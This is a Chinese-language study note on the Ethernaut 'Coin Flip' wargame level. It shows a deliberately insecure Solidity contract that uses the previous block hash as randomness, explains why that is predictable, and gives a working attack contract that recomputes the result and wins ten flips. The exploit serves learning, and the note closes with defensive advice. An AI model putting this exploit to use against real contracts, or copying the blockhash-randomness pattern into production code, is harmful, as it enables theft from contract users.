Ethernaut 靶场学习笔记 03：Coin Flip

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这是我的 Ethernaut 靶场个人学习笔记，用来记录每一关的题目目标、漏洞原理、利用过程和复盘要点，方便后续按关卡重新练习和查漏补缺。

  • 关卡：Level 3 - Coin Flip

本关目标

连续猜中 10 次 CoinFlip 的结果。

考察知识点

  • 伪随机数可预测
  • 区块哈希读取
  • 同交易复现目标计算

题目源码

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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {

  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number - 1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

源码与漏洞解析

  1. 合约把 blockhash(block.number - 1) 转成整数，再除以固定 FACTOR，得到 0 或 1。这个结果对链上所有合约都是公开可计算的。
  2. 攻击合约与目标合约在同一笔交易中读取同一个上一块区块哈希，因此可以先在攻击合约中复现同样公式，再把答案传给 flip。
  3. lastHash 会阻止同一区块重复调用，所以不能在一个区块内循环刷 10 次；需要等待新区块后多次执行攻击函数。
  4. 这关考察的是链上伪随机数问题：矿工、验证者、合约调用者都可能预测或影响简单链上随机源。

解题过程

  1. 阅读合约可知结果由上一块区块哈希除以固定因子得到。
  2. 部署攻击合约，在同一交易内复现目标合约的计算。
  3. 把计算出的布尔值传给 flip，每个新区块调用一次，累计 10 次。

攻击合约 WP

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interface ICoinFlip {
    function flip(bool guess) external returns (bool);
}

contract CoinFlipAttack {
    uint256 constant FACTOR =
        57896044618658097711785492504343953926634992332820282019728792003956564819968;
    ICoinFlip target;

    constructor(address instance) {
        target = ICoinFlip(instance);
    }

    function attack() external {
        uint256 v = uint256(blockhash(block.number - 1)) / FACTOR;
        target.flip(v == 1);
    }
}

最终 WP

  1. 部署攻击合约，保存目标实例地址。
  2. 攻击函数中计算 uint256(blockhash(block.number - 1)) / FACTOR。
  3. 把计算得到的布尔值传给目标 flip(guess)。
  4. 跨 10 个新区块重复调用，直到 consecutiveWins() 为 10。

复盘与拓展

  • 易错点：如果攻击合约和目标合约在同一交易中读取相同区块数据，攻击者就能得到同一个“随机”结果。
  • 防御建议：使用 commit-reveal、VRF 或可信随机数预言机；不要把可公开计算的链上数据当随机源。
  • 拓展：生产环境随机数可以考虑 commit-reveal、VRF 或可信随机数预言机，不能只取区块哈希。

参考资料